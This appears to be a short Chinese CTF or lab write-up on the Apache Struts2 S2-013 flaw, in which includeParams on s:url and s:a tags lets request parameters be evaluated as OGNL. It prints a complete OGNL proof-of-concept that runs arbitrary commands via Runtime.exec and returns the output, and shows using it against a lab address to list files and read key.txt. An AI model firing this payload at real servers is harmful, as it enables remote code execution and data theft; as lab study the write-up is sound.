查询原理:s:url和s:a标记都提供includeparams属性。
该属性的主要作用域是了解包含或不包含http://request参数的内容。
INCLUDEParams的允许值为:
无-在URL中不包含任何参数(默认)
get-仅在URL中包含get参数
全部-在URL中同时包含get和post参数
包含精心设计的请求参数的请求可用于将任意ognl代码注入堆栈,随后用作URL或标记的请求参数,这将导致进一步的评估。
当URL/A标记尝试解析原始请求中的每个参数时,将进行第二次评估。
这允许恶意用户将任意ognl语句放入任何请求参数(不一定由代码管理),并将其评估为ognl表达式,以启用方法执行和执行任意方法,绕过struts和ognl库保护。
打开源代码,发现/link.action
查找S2-013poc:
${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘命令’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
命令填入ls,在burpsuite进行url编码,通过hackbar执行http://219.153.49.228:40262/link.action?a=poc的url编码
得到目录,发现key.txt,把ls改成cat key.txt,编码执行,得到key